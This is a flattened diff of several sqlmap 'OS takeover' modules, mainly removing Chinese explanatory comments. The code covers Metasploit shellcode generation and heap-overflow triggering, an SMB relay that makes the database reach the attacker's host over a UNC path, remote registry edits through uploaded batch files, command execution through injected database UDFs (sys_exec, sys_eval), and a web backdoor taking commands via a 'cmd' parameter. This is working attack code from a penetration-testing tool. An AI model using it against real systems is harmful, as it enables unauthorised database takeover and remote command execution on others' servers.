errMsg = "failed to create the shellcode ('%s')" % getText(payloadStderr).replace("\n", " ").replace("\r", "") errMsg = "failed to create the shellcode ('%s')" % getText(payloadStderr).replace("\n", " ").replace("\r", "")
raise SqlmapFilePathException(errMsg) raise SqlmapFilePathException(errMsg)
# 打开shellcode文件
self._shellcodeFP = open(self._shellcodeFilePath, "rb") self._shellcodeFP = open(self._shellcodeFilePath, "rb")
# 读取shellcode文件内容
self.shellcodeString = getText(self._shellcodeFP.read()) self.shellcodeString = getText(self._shellcodeFP.read())
# 关闭shellcode文件
self._shellcodeFP.close() self._shellcodeFP.close()
os.unlink(self._shellcodeFilePath) os.unlink(self._shellcodeFilePath)
@ -709,7 +659,6 @@ class Metasploit(object):
return True return True
def pwn(self, goUdf=False): def pwn(self, goUdf=False):
# 如果goUdf为True则使用thread作为退出函数否则使用process作为退出函数
if goUdf: if goUdf:
exitfunc = "thread" exitfunc = "thread"
func = self._runMsfShellcodeRemote func = self._runMsfShellcodeRemote
@ -717,52 +666,40 @@ class Metasploit(object):
exitfunc = "process" exitfunc = "process"
func = self._runMsfShellcodeRemoteViaSexec func = self._runMsfShellcodeRemoteViaSexec
# 运行Metasploit命令行界面
self._runMsfCli(exitfunc=exitfunc) self._runMsfCli(exitfunc=exitfunc)
# 如果连接字符串以bind开头则运行func函数
if self.connectionStr.startswith("bind"): if self.connectionStr.startswith("bind"):
func() func()
# 记录Metasploit命令行界面退出的返回码
debugMsg = "Metasploit Framework command line interface exited " debugMsg = "Metasploit Framework command line interface exited "
debugMsg += "with return code %s" % self._controlMsfCmd(self._msfCliProc, func) debugMsg += "with return code %s" % self._controlMsfCmd(self._msfCliProc, func)
logger.debug(debugMsg) logger.debug(debugMsg)
# 如果goUdf为False则等待1秒并删除远程文件
if not goUdf: if not goUdf:
time.sleep(1) time.sleep(1)
self.delRemoteFile(self.shellcodeexecRemote) self.delRemoteFile(self.shellcodeexecRemote)
def smb(self): def smb(self):
# 初始化Metasploit变量
Metasploit._initVars(self) Metasploit._initVars(self)
# 生成随机文件名
self._randFile = "tmpu%s.txt" % randomStr(lowercase=True) self._randFile = "tmpu%s.txt" % randomStr(lowercase=True)
# 运行Metasploit命令行界面
self._runMsfCliSmbrelay() self._runMsfCliSmbrelay()
# 如果识别的数据库管理系统是MySQL或PGSQL则使用UNC路径
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
self.uncPath = r"\\\\%s\\%s" % (self.lhostStr, self._randFile) self.uncPath = r"\\\\%s\\%s" % (self.lhostStr, self._randFile)
else: else:
self.uncPath = r"\\%s\%s" % (self.lhostStr, self._randFile) self.uncPath = r"\\%s\%s" % (self.lhostStr, self._randFile)
# 记录Metasploit命令行界面退出的返回码
debugMsg = "Metasploit Framework console exited with return " debugMsg = "Metasploit Framework console exited with return "
debugMsg += "code %s" % self._controlMsfCmd(self._msfCliProc, self.uncPathRequest) debugMsg += "code %s" % self._controlMsfCmd(self._msfCliProc, self.uncPathRequest)
logger.debug(debugMsg) logger.debug(debugMsg)
def bof(self): def bof(self):
# 运行Metasploit命令行界面
self._runMsfCli(exitfunc="seh") self._runMsfCli(exitfunc="seh")
# 如果连接字符串以bind开头则运行spHeapOverflow函数
if self.connectionStr.startswith("bind"): if self.connectionStr.startswith("bind"):
self.spHeapOverflow() self.spHeapOverflow()
# 记录Metasploit命令行界面退出的返回码
debugMsg = "Metasploit Framework command line interface exited " debugMsg = "Metasploit Framework command line interface exited "
debugMsg += "with return code %s" % self._controlMsfCmd(self._msfCliProc, self.spHeapOverflow) debugMsg += "with return code %s" % self._controlMsfCmd(self._msfCliProc, self.spHeapOverflow)
logger.debug(debugMsg) logger.debug(debugMsg)

@ -5,184 +5,114 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
# 导入所需的模块
import os import os
# 导入自定义的工具函数 from lib.core.common import openFile
from lib.core.common import openFile # 用于打开文件 from lib.core.common import randomStr
from lib.core.common import randomStr # 用于生成随机字符串 from lib.core.data import conf
from lib.core.data import conf # 配置信息 from lib.core.data import logger
from lib.core.data import logger # 日志记录器 from lib.core.enums import REGISTRY_OPERATION
from lib.core.enums import REGISTRY_OPERATION # 注册表操作类型的枚举
class Registry(object): class Registry(object):
""" """
这个类定义了读取和写入Windows注册表键值的方法 This class defines methods to read and write Windows registry keys
注册表是Windows系统中的一个核心数据库用于存储系统和应用程序的配置信息
""" """
def _initVars(self, regKey, regValue, regType=None, regData=None, parse=False): def _initVars(self, regKey, regValue, regType=None, regData=None, parse=False):
"""
初始化注册表操作所需的变量
:param regKey: 注册表键路径例如"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows"
:param regValue: 注册表值名称即要操作的具体配置项名称
:param regType: 注册表值类型如REG_SZ(字符串)REG_DWORD(数字)
:param regData: 要写入的注册表值数据
:param parse: 是否需要解析输出True表示需要特殊处理输出格式
"""
# 保存传入的参数
self._regKey = regKey self._regKey = regKey
self._regValue = regValue self._regValue = regValue
self._regType = regType self._regType = regType
self._regData = regData self._regData = regData
# 生成一个随机字符串,用于创建临时批处理文件名
self._randStr = randomStr(lowercase=True) self._randStr = randomStr(lowercase=True)
# 设置远程系统上临时批处理文件的路径
self._batPathRemote = "%s/tmpr%s.bat" % (conf.tmpPath, self._randStr) self._batPathRemote = "%s/tmpr%s.bat" % (conf.tmpPath, self._randStr)
# 设置本地系统上临时批处理文件的路径
self._batPathLocal = os.path.join(conf.outputPath, "tmpr%s.bat" % self._randStr) self._batPathLocal = os.path.join(conf.outputPath, "tmpr%s.bat" % self._randStr)
# 根据parse参数决定读取命令的格式
if parse: if parse:
# 使用FOR循环解析REG QUERY的输出可以获得更规范的格式
readParse = "FOR /F \"tokens=*\" %%A IN ('REG QUERY \"" + self._regKey + "\" /v \"" + self._regValue + "\"') DO SET value=%%A\r\nECHO %value%\r\n" readParse = "FOR /F \"tokens=*\" %%A IN ('REG QUERY \"" + self._regKey + "\" /v \"" + self._regValue + "\"') DO SET value=%%A\r\nECHO %value%\r\n"
else: else:
# 直接使用REG QUERY命令查询注册表
readParse = "REG QUERY \"" + self._regKey + "\" /v \"" + self._regValue + "\"" readParse = "REG QUERY \"" + self._regKey + "\" /v \"" + self._regValue + "\""
# 定义用于读取注册表的批处理命令
self._batRead = ( self._batRead = (
"@ECHO OFF\r\n", # 关闭命令回显 "@ECHO OFF\r\n",
readParse, # 实际的查询命令 readParse,
) )
# 定义用于添加注册表值的批处理命令
self._batAdd = ( self._batAdd = (
"@ECHO OFF\r\n", "@ECHO OFF\r\n",
"REG ADD \"%s\" /v \"%s\" /t %s /d %s /f" % (self._regKey, self._regValue, self._regType, self._regData), # /f表示强制覆盖不提示 "REG ADD \"%s\" /v \"%s\" /t %s /d %s /f" % (self._regKey, self._regValue, self._regType, self._regData),
) )
# 定义用于删除注册表值的批处理命令
self._batDel = ( self._batDel = (
"@ECHO OFF\r\n", "@ECHO OFF\r\n",
"REG DELETE \"%s\" /v \"%s\" /f" % (self._regKey, self._regValue), # /f表示强制删除不提示 "REG DELETE \"%s\" /v \"%s\" /f" % (self._regKey, self._regValue),
) )
def _createLocalBatchFile(self): def _createLocalBatchFile(self):
"""
在本地系统创建临时批处理文件
这个批处理文件包含了要在远程系统执行的注册表操作命令
"""
# 以写入模式打开本地临时文件
self._batPathFp = openFile(self._batPathLocal, "w") self._batPathFp = openFile(self._batPathLocal, "w")
# 根据操作类型选择相应的命令集
if self._operation == REGISTRY_OPERATION.READ: if self._operation == REGISTRY_OPERATION.READ:
lines = self._batRead # 读取操作的命令 lines = self._batRead
elif self._operation == REGISTRY_OPERATION.ADD: elif self._operation == REGISTRY_OPERATION.ADD:
lines = self._batAdd # 添加操作的命令 lines = self._batAdd
elif self._operation == REGISTRY_OPERATION.DELETE: elif self._operation == REGISTRY_OPERATION.DELETE:
lines = self._batDel # 删除操作的命令 lines = self._batDel
# 将命令写入批处理文件
for line in lines: for line in lines:
self._batPathFp.write(line) self._batPathFp.write(line)
# 关闭文件
self._batPathFp.close() self._batPathFp.close()
def _createRemoteBatchFile(self): def _createRemoteBatchFile(self):
"""
在远程系统创建批处理文件
这个方法会先在本地创建文件然后将其复制到远程系统
"""
# 记录调试信息
logger.debug("creating batch file '%s'" % self._batPathRemote) logger.debug("creating batch file '%s'" % self._batPathRemote)
# 先在本地创建批处理文件
self._createLocalBatchFile() self._createLocalBatchFile()
# 将本地文件复制到远程系统
self.writeFile(self._batPathLocal, self._batPathRemote, "text", forceCheck=True) self.writeFile(self._batPathLocal, self._batPathRemote, "text", forceCheck=True)
# 删除本地的临时文件
os.unlink(self._batPathLocal) os.unlink(self._batPathLocal)
def readRegKey(self, regKey, regValue, parse=False): def readRegKey(self, regKey, regValue, parse=False):
"""
读取注册表键值的方法
:param regKey: 要读取的注册表键路径
:param regValue: 要读取的值名称
:param parse: 是否需要解析输出
:return: 返回读取到的注册表值内容
"""
# 设置操作类型为读取
self._operation = REGISTRY_OPERATION.READ self._operation = REGISTRY_OPERATION.READ
# 初始化变量并创建远程批处理文件
Registry._initVars(self, regKey, regValue, parse=parse) Registry._initVars(self, regKey, regValue, parse=parse)
self._createRemoteBatchFile() self._createRemoteBatchFile()
# 记录调试信息
logger.debug("reading registry key '%s' value '%s'" % (regKey, regValue)) logger.debug("reading registry key '%s' value '%s'" % (regKey, regValue))
# 在远程系统执行批处理文件并获取输出
data = self.evalCmd(self._batPathRemote) data = self.evalCmd(self._batPathRemote)
# 如果不需要解析,则处理输出格式(去除前导空格)
if data and not parse: if data and not parse:
pattern = ' ' pattern = ' '
index = data.find(pattern) index = data.find(pattern)
if index != -1: if index != -1:
data = data[index + len(pattern):] data = data[index + len(pattern):]
# 清理:删除远程临时文件
self.delRemoteFile(self._batPathRemote) self.delRemoteFile(self._batPathRemote)
return data return data
def addRegKey(self, regKey, regValue, regType, regData): def addRegKey(self, regKey, regValue, regType, regData):
"""
添加或修改注册表键值
:param regKey: 要添加的注册表键路径
:param regValue: 要添加的值名称
:param regType: 值的类型如REG_SZ, REG_DWORD等
:param regData: 要写入的数据
"""
# 设置操作类型为添加
self._operation = REGISTRY_OPERATION.ADD self._operation = REGISTRY_OPERATION.ADD
# 初始化变量并创建远程批处理文件
Registry._initVars(self, regKey, regValue, regType, regData) Registry._initVars(self, regKey, regValue, regType, regData)
self._createRemoteBatchFile() self._createRemoteBatchFile()
# 构造并记录调试信息
debugMsg = "adding registry key value '%s' " % self._regValue debugMsg = "adding registry key value '%s' " % self._regValue
debugMsg += "to registry key '%s'" % self._regKey debugMsg += "to registry key '%s'" % self._regKey
logger.debug(debugMsg) logger.debug(debugMsg)
# 执行远程批处理文件并清理
self.execCmd(cmd=self._batPathRemote) self.execCmd(cmd=self._batPathRemote)
self.delRemoteFile(self._batPathRemote) self.delRemoteFile(self._batPathRemote)
def delRegKey(self, regKey, regValue): def delRegKey(self, regKey, regValue):
"""
删除注册表键值
:param regKey: 要删除的注册表键路径
:param regValue: 要删除的值名称
"""
# 设置操作类型为删除
self._operation = REGISTRY_OPERATION.DELETE self._operation = REGISTRY_OPERATION.DELETE
# 初始化变量并创建远程批处理文件
Registry._initVars(self, regKey, regValue) Registry._initVars(self, regKey, regValue)
self._createRemoteBatchFile() self._createRemoteBatchFile()
# 构造并记录调试信息
debugMsg = "deleting registry key value '%s' " % self._regValue debugMsg = "deleting registry key value '%s' " % self._regValue
debugMsg += "from registry key '%s'" % self._regKey debugMsg += "from registry key '%s'" % self._regKey
logger.debug(debugMsg) logger.debug(debugMsg)
# 执行远程批处理文件并清理
self.execCmd(cmd=self._batPathRemote) self.execCmd(cmd=self._batPathRemote)
self.delRemoteFile(self._batPathRemote) self.delRemoteFile(self._batPathRemote)

@ -5,7 +5,6 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
# 导入所需的模块
import os import os
from lib.core.agent import agent from lib.core.agent import agent
@ -33,38 +32,28 @@ from lib.request import inject
class UDF(object): class UDF(object):
""" """
这个类定义了处理用户自定义函数(UDF)的方法 This class defines methods to deal with User-Defined Functions for
用户自定义函数是数据库中由用户创建的函数,可以扩展数据库的功能 plugins.
""" """
def __init__(self): def __init__(self):
# 初始化三个集合/字典来跟踪UDF状态 self.createdUdf = set()
self.createdUdf = set() # 存储已创建的UDF self.udfs = {}
self.udfs = {} # 存储UDF的详细信息 self.udfToCreate = set()
self.udfToCreate = set() # 存储待创建的UDF
def _askOverwriteUdf(self, udf): def _askOverwriteUdf(self, udf):
"""
询问用户是否要覆盖已存在的UDF
"""
message = "UDF '%s' already exists, do you " % udf message = "UDF '%s' already exists, do you " % udf
message += "want to overwrite it? [y/N] " message += "want to overwrite it? [y/N] "
return readInput(message, default='N', boolean=True) return readInput(message, default='N', boolean=True)
def _checkExistUdf(self, udf): def _checkExistUdf(self, udf):
"""
检查指定的UDF是否已经存在于数据库中
"""
logger.info("checking if UDF '%s' already exist" % udf) logger.info("checking if UDF '%s' already exist" % udf)
query = agent.forgeCaseStatement(queries[Backend.getIdentifiedDbms()].check_udf.query % (udf, udf)) query = agent.forgeCaseStatement(queries[Backend.getIdentifiedDbms()].check_udf.query % (udf, udf))
return inject.getValue(query, resumeValue=False, expected=EXPECTED.BOOL, charsetType=CHARSET_TYPE.BINARY) return inject.getValue(query, resumeValue=False, expected=EXPECTED.BOOL, charsetType=CHARSET_TYPE.BINARY)
def udfCheckAndOverwrite(self, udf): def udfCheckAndOverwrite(self, udf):
"""
检查UDF是否存在,并询问是否覆盖
"""
exists = self._checkExistUdf(udf) exists = self._checkExistUdf(udf)
overwrite = True overwrite = True
@ -75,18 +64,12 @@ class UDF(object):
self.udfToCreate.add(udf) self.udfToCreate.add(udf)
def udfCreateSupportTbl(self, dataType): def udfCreateSupportTbl(self, dataType):
"""
为UDF创建支持表
"""
debugMsg = "creating a support table for user-defined functions" debugMsg = "creating a support table for user-defined functions"
logger.debug(debugMsg) logger.debug(debugMsg)
self.createSupportTbl(self.cmdTblName, self.tblField, dataType) self.createSupportTbl(self.cmdTblName, self.tblField, dataType)
def udfForgeCmd(self, cmd): def udfForgeCmd(self, cmd):
"""
格式化命令字符串,确保命令两端有单引号
"""
if not cmd.startswith("'"): if not cmd.startswith("'"):
cmd = "'%s" % cmd cmd = "'%s" % cmd
@ -96,12 +79,6 @@ class UDF(object):
return cmd return cmd
def udfExecCmd(self, cmd, silent=False, udfName=None): def udfExecCmd(self, cmd, silent=False, udfName=None):
"""
执行UDF命令
@param cmd: 要执行的命令
@param silent: 是否静默执行
@param udfName: UDF名称,默认为sys_exec
"""
if udfName is None: if udfName is None:
udfName = "sys_exec" udfName = "sys_exec"
@ -110,13 +87,6 @@ class UDF(object):
return inject.goStacked("SELECT %s(%s)" % (udfName, cmd), silent) return inject.goStacked("SELECT %s(%s)" % (udfName, cmd), silent)
def udfEvalCmd(self, cmd, first=None, last=None, udfName=None): def udfEvalCmd(self, cmd, first=None, last=None, udfName=None):
"""
评估并执行UDF命令,并返回结果
@param cmd: 要执行的命令
@param first: 结果的起始位置
@param last: 结果的结束位置
@param udfName: UDF名称,默认为sys_eval
"""
if udfName is None: if udfName is None:
udfName = "sys_eval" udfName = "sys_eval"
@ -140,9 +110,6 @@ class UDF(object):
return output return output
def udfCheckNeeded(self): def udfCheckNeeded(self):
"""
检查哪些系统UDF是需要的,移除不需要的UDF
"""
if (not any((conf.fileRead, conf.commonFiles)) or (any((conf.fileRead, conf.commonFiles)) and not Backend.isDbms(DBMS.PGSQL))) and "sys_fileread" in self.sysUdfs: if (not any((conf.fileRead, conf.commonFiles)) or (any((conf.fileRead, conf.commonFiles)) and not Backend.isDbms(DBMS.PGSQL))) and "sys_fileread" in self.sysUdfs:
self.sysUdfs.pop("sys_fileread") self.sysUdfs.pop("sys_fileread")
@ -156,34 +123,20 @@ class UDF(object):
self.sysUdfs.pop("sys_exec") self.sysUdfs.pop("sys_exec")
def udfSetRemotePath(self): def udfSetRemotePath(self):
"""
设置UDF在远程服务器上的路径(需要在插件中实现)
"""
errMsg = "udfSetRemotePath() method must be defined within the plugin" errMsg = "udfSetRemotePath() method must be defined within the plugin"
raise SqlmapUnsupportedFeatureException(errMsg) raise SqlmapUnsupportedFeatureException(errMsg)
def udfSetLocalPaths(self): def udfSetLocalPaths(self):
"""
设置UDF在本地的路径(需要在插件中实现)
"""
errMsg = "udfSetLocalPaths() method must be defined within the plugin" errMsg = "udfSetLocalPaths() method must be defined within the plugin"
raise SqlmapUnsupportedFeatureException(errMsg) raise SqlmapUnsupportedFeatureException(errMsg)
def udfCreateFromSharedLib(self, udf, inpRet): def udfCreateFromSharedLib(self, udf, inpRet):
"""
从共享库创建UDF(需要在插件中实现)
"""
errMsg = "udfCreateFromSharedLib() method must be defined within the plugin" errMsg = "udfCreateFromSharedLib() method must be defined within the plugin"
raise SqlmapUnsupportedFeatureException(errMsg) raise SqlmapUnsupportedFeatureException(errMsg)
def udfInjectCore(self, udfDict): def udfInjectCore(self, udfDict):
"""
UDF注入的核心方法
@param udfDict: UDF字典,包含要注入的UDF信息
"""
written = False written = False
# 检查每个UDF是否需要覆盖
for udf in udfDict.keys(): for udf in udfDict.keys():
if udf in self.createdUdf: if udf in self.createdUdf:
continue continue
@ -211,12 +164,10 @@ class UDF(object):
else: else:
return True return True
# 创建每个UDF
for udf, inpRet in udfDict.items(): for udf, inpRet in udfDict.items():
if udf in self.udfToCreate and udf not in self.createdUdf: if udf in self.udfToCreate and udf not in self.createdUdf:
self.udfCreateFromSharedLib(udf, inpRet) self.udfCreateFromSharedLib(udf, inpRet)
# 根据数据库类型创建支持表
if Backend.isDbms(DBMS.MYSQL): if Backend.isDbms(DBMS.MYSQL):
supportTblType = "longtext" supportTblType = "longtext"
elif Backend.isDbms(DBMS.PGSQL): elif Backend.isDbms(DBMS.PGSQL):
@ -227,25 +178,16 @@ class UDF(object):
return written return written
def udfInjectSys(self): def udfInjectSys(self):
"""
注入系统UDF
"""
self.udfSetLocalPaths() self.udfSetLocalPaths()
self.udfCheckNeeded() self.udfCheckNeeded()
return self.udfInjectCore(self.sysUdfs) return self.udfInjectCore(self.sysUdfs)
def udfInjectCustom(self): def udfInjectCustom(self):
"""
注入自定义UDF的主要方法
包含了用户交互参数验证UDF创建和执行等完整流程
"""
# 检查数据库类型是否支持UDF
if Backend.getIdentifiedDbms() not in (DBMS.MYSQL, DBMS.PGSQL): if Backend.getIdentifiedDbms() not in (DBMS.MYSQL, DBMS.PGSQL):
errMsg = "UDF injection feature only works on MySQL and PostgreSQL" errMsg = "UDF injection feature only works on MySQL and PostgreSQL"
logger.error(errMsg) logger.error(errMsg)
return return
# 检查是否支持堆叠查询
if not isStackingAvailable() and not conf.direct: if not isStackingAvailable() and not conf.direct:
errMsg = "UDF injection feature requires stacked queries SQL injection" errMsg = "UDF injection feature requires stacked queries SQL injection"
logger.error(errMsg) logger.error(errMsg)
@ -253,13 +195,11 @@ class UDF(object):
self.checkDbmsOs() self.checkDbmsOs()
# 检查用户权限
if not self.isDba(): if not self.isDba():
warnMsg = "functionality requested probably does not work because " warnMsg = "functionality requested probably does not work because "
warnMsg += "the current session user is not a database administrator" warnMsg += "the current session user is not a database administrator"
logger.warning(warnMsg) logger.warning(warnMsg)
# 获取共享库路径
if not conf.shLib: if not conf.shLib:
msg = "what is the local path of the shared library? " msg = "what is the local path of the shared library? "
@ -273,7 +213,6 @@ class UDF(object):
else: else:
self.udfLocalFile = conf.shLib self.udfLocalFile = conf.shLib
# 验证共享库文件
if not os.path.exists(self.udfLocalFile): if not os.path.exists(self.udfLocalFile):
errMsg = "the specified shared library file does not exist" errMsg = "the specified shared library file does not exist"
raise SqlmapFilePathException(errMsg) raise SqlmapFilePathException(errMsg)
@ -292,11 +231,9 @@ class UDF(object):
errMsg += "but the database underlying operating system is Linux" errMsg += "but the database underlying operating system is Linux"
raise SqlmapMissingMandatoryOptionException(errMsg) raise SqlmapMissingMandatoryOptionException(errMsg)
# 获取共享库名称和扩展名
self.udfSharedLibName = os.path.basename(self.udfLocalFile).split(".")[0] self.udfSharedLibName = os.path.basename(self.udfLocalFile).split(".")[0]
self.udfSharedLibExt = os.path.basename(self.udfLocalFile).split(".")[1] self.udfSharedLibExt = os.path.basename(self.udfLocalFile).split(".")[1]
# 获取要创建的UDF数量
msg = "how many user-defined functions do you want to create " msg = "how many user-defined functions do you want to create "
msg += "from the shared library? " msg += "from the shared library? "
@ -314,7 +251,6 @@ class UDF(object):
else: else:
logger.warning("invalid value, only digits are allowed") logger.warning("invalid value, only digits are allowed")
# 循环获取每个UDF的信息
for x in xrange(0, udfCount): for x in xrange(0, udfCount):
while True: while True:
msg = "what is the name of the UDF number %d? " % (x + 1) msg = "what is the name of the UDF number %d? " % (x + 1)
@ -326,7 +262,6 @@ class UDF(object):
else: else:
logger.warning("you need to specify the name of the UDF") logger.warning("you need to specify the name of the UDF")
# 设置默认返回类型
if Backend.isDbms(DBMS.MYSQL): if Backend.isDbms(DBMS.MYSQL):
defaultType = "string" defaultType = "string"
elif Backend.isDbms(DBMS.PGSQL): elif Backend.isDbms(DBMS.PGSQL):
@ -334,7 +269,6 @@ class UDF(object):
self.udfs[udfName]["input"] = [] self.udfs[udfName]["input"] = []
# 获取输入参数数量
msg = "how many input parameters takes UDF " msg = "how many input parameters takes UDF "
msg += "'%s'? (default: 1) " % udfName msg += "'%s'? (default: 1) " % udfName
@ -348,7 +282,6 @@ class UDF(object):
else: else:
logger.warning("invalid value, only digits >= 0 are allowed") logger.warning("invalid value, only digits >= 0 are allowed")
# 获取每个输入参数的类型
for y in xrange(0, parCount): for y in xrange(0, parCount):
msg = "what is the data-type of input parameter " msg = "what is the data-type of input parameter "
msg += "number %d? (default: %s) " % ((y + 1), defaultType) msg += "number %d? (default: %s) " % ((y + 1), defaultType)
@ -363,7 +296,6 @@ class UDF(object):
self.udfs[udfName]["input"].append(parType) self.udfs[udfName]["input"].append(parType)
break break
# 获取返回值类型
msg = "what is the data-type of the return " msg = "what is the data-type of the return "
msg += "value? (default: %s) " % defaultType msg += "value? (default: %s) " % defaultType
@ -376,14 +308,12 @@ class UDF(object):
self.udfs[udfName]["return"] = retType self.udfs[udfName]["return"] = retType
break break
# 注入UDF
success = self.udfInjectCore(self.udfs) success = self.udfInjectCore(self.udfs)
if success is False: if success is False:
self.cleanup(udfDict=self.udfs) self.cleanup(udfDict=self.udfs)
return False return False
# 询问是否要调用注入的UDF
msg = "do you want to call your injected user-defined " msg = "do you want to call your injected user-defined "
msg += "functions now? [Y/n/q] " msg += "functions now? [Y/n/q] "
choice = readInput(msg, default='Y').upper() choice = readInput(msg, default='Y').upper()
@ -395,7 +325,6 @@ class UDF(object):
self.cleanup(udfDict=self.udfs) self.cleanup(udfDict=self.udfs)
raise SqlmapUserQuitException raise SqlmapUserQuitException
# 循环调用UDF
while True: while True:
udfList = [] udfList = []
msg = "which UDF do you want to call?" msg = "which UDF do you want to call?"
@ -422,7 +351,6 @@ class UDF(object):
if not isinstance(choice, int): if not isinstance(choice, int):
break break
# 构建UDF调用命令
cmd = "" cmd = ""
count = 1 count = 1
udfToCall = udfList[choice - 1] udfToCall = udfList[choice - 1]
@ -450,7 +378,6 @@ class UDF(object):
msg = "do you want to retrieve the return value of the " msg = "do you want to retrieve the return value of the "
msg += "UDF? [Y/n] " msg += "UDF? [Y/n] "
# 执行UDF并获取返回值
if readInput(msg, default='Y', boolean=True): if readInput(msg, default='Y', boolean=True):
output = self.udfEvalCmd(cmd, udfName=udfToCall) output = self.udfEvalCmd(cmd, udfName=udfToCall)
@ -466,5 +393,4 @@ class UDF(object):
if not readInput(msg, default='Y', boolean=True): if not readInput(msg, default='Y', boolean=True):
break break
# 清理UDF
self.cleanup(udfDict=self.udfs) self.cleanup(udfDict=self.udfs)

@ -5,90 +5,76 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
# 导入所需的标准库
import io import io
import os import os
import posixpath import posixpath
import re import re
import tempfile import tempfile
# 导入自定义模块和第三方库 from extra.cloak.cloak import decloak
from extra.cloak.cloak import decloak # 用于解密混淆的文件 from lib.core.agent import agent
from lib.core.agent import agent # SQL注入代理模块 from lib.core.common import arrayizeValue
from lib.core.common import arrayizeValue # 将值转换为数组 from lib.core.common import Backend
from lib.core.common import Backend # 后端DBMS信息 from lib.core.common import extractRegexResult
from lib.core.common import extractRegexResult # 正则提取结果 from lib.core.common import getAutoDirectories
from lib.core.common import getAutoDirectories # 获取自动检测的目录 from lib.core.common import getManualDirectories
from lib.core.common import getManualDirectories # 获取手动指定的目录 from lib.core.common import getPublicTypeMembers
from lib.core.common import getPublicTypeMembers # 获取类的公共成员 from lib.core.common import getSQLSnippet
from lib.core.common import getSQLSnippet # 获取SQL代码片段 from lib.core.common import getTechnique
from lib.core.common import getTechnique # 获取注入技术 from lib.core.common import getTechniqueData
from lib.core.common import getTechniqueData # 获取注入技术数据 from lib.core.common import isDigit
from lib.core.common import isDigit # 判断是否为数字 from lib.core.common import isTechniqueAvailable
from lib.core.common import isTechniqueAvailable # 判断注入技术是否可用 from lib.core.common import isWindowsDriveLetterPath
from lib.core.common import isWindowsDriveLetterPath # 判断是否为Windows驱动器路径 from lib.core.common import normalizePath
from lib.core.common import normalizePath # 规范化路径 from lib.core.common import ntToPosixSlashes
from lib.core.common import ntToPosixSlashes # Windows路径转POSIX路径 from lib.core.common import openFile
from lib.core.common import openFile # 打开文件 from lib.core.common import parseFilePaths
from lib.core.common import parseFilePaths # 解析文件路径 from lib.core.common import posixToNtSlashes
from lib.core.common import posixToNtSlashes # POSIX路径转Windows路径 from lib.core.common import randomInt
from lib.core.common import randomInt # 生成随机整数 from lib.core.common import randomStr
from lib.core.common import randomStr # 生成随机字符串 from lib.core.common import readInput
from lib.core.common import readInput # 读取用户输入 from lib.core.common import singleTimeWarnMessage
from lib.core.common import singleTimeWarnMessage # 单次警告消息 from lib.core.compat import xrange
from lib.core.compat import xrange # 兼容Python2/3的range from lib.core.convert import encodeHex
from lib.core.convert import encodeHex # 十六进制编码 from lib.core.convert import getBytes
from lib.core.convert import getBytes # 获取字节串 from lib.core.convert import getText
from lib.core.convert import getText # 获取文本 from lib.core.convert import getUnicode
from lib.core.convert import getUnicode # 获取Unicode字符串 from lib.core.data import conf
from lib.core.data import conf # 配置数据 from lib.core.data import kb
from lib.core.data import kb # 知识库数据 from lib.core.data import logger
from lib.core.data import logger # 日志记录器 from lib.core.data import paths
from lib.core.data import paths # 路径信息 from lib.core.datatype import OrderedSet
from lib.core.datatype import OrderedSet # 有序集合 from lib.core.enums import DBMS
from lib.core.enums import DBMS # 数据库管理系统枚举 from lib.core.enums import HTTP_HEADER
from lib.core.enums import HTTP_HEADER # HTTP头部枚举 from lib.core.enums import OS
from lib.core.enums import OS # 操作系统枚举 from lib.core.enums import PAYLOAD
from lib.core.enums import PAYLOAD # 载荷类型枚举 from lib.core.enums import PLACE
from lib.core.enums import PLACE # 注入位置枚举 from lib.core.enums import WEB_PLATFORM
from lib.core.enums import WEB_PLATFORM # Web平台枚举 from lib.core.exception import SqlmapNoneDataException
from lib.core.exception import SqlmapNoneDataException # sqlmap异常类 from lib.core.settings import BACKDOOR_RUN_CMD_TIMEOUT
from lib.core.settings import BACKDOOR_RUN_CMD_TIMEOUT # 后门命令执行超时设置 from lib.core.settings import EVENTVALIDATION_REGEX
from lib.core.settings import EVENTVALIDATION_REGEX # ASP.NET事件验证正则 from lib.core.settings import SHELL_RUNCMD_EXE_TAG
from lib.core.settings import SHELL_RUNCMD_EXE_TAG # Shell运行命令可执行文件标签 from lib.core.settings import SHELL_WRITABLE_DIR_TAG
from lib.core.settings import SHELL_WRITABLE_DIR_TAG # Shell可写目录标签 from lib.core.settings import VIEWSTATE_REGEX
from lib.core.settings import VIEWSTATE_REGEX # ASP.NET视图状态正则 from lib.request.connect import Connect as Request
from lib.request.connect import Connect as Request # HTTP请求类 from thirdparty.six.moves import urllib as _urllib
from thirdparty.six.moves import urllib as _urllib # URL处理库
class Web(object): class Web(object):
""" """
这个类定义了Web相关的操作系统接管功能 This class defines web-oriented OS takeover functionalities for
主要用于上传和执行Web后门,实现对目标系统的远程控制 plugins.
""" """
def __init__(self): def __init__(self):
""" self.webPlatform = None
初始化Web类的属性 self.webBaseUrl = None
""" self.webBackdoorUrl = None
self.webPlatform = None # Web平台类型(PHP/ASP/ASPX等) self.webBackdoorFilePath = None
self.webBaseUrl = None # Web根URL self.webStagerUrl = None
self.webBackdoorUrl = None # 后门URL self.webStagerFilePath = None
self.webBackdoorFilePath = None # 后门文件路径 self.webDirectory = None
self.webStagerUrl = None # 文件上传器URL
self.webStagerFilePath = None # 文件上传器路径
self.webDirectory = None # Web目录
def webBackdoorRunCmd(self, cmd): def webBackdoorRunCmd(self, cmd):
"""
通过Web后门执行系统命令
参数:
cmd: 要执行的命令
返回:
命令执行的输出结果
"""
if self.webBackdoorUrl is None: if self.webBackdoorUrl is None:
return return
@ -97,13 +83,10 @@ class Web(object):
if not cmd: if not cmd:
cmd = conf.osCmd cmd = conf.osCmd
# 构造命令执行URL
cmdUrl = "%s?cmd=%s" % (self.webBackdoorUrl, getUnicode(cmd)) cmdUrl = "%s?cmd=%s" % (self.webBackdoorUrl, getUnicode(cmd))
# 发送请求执行命令
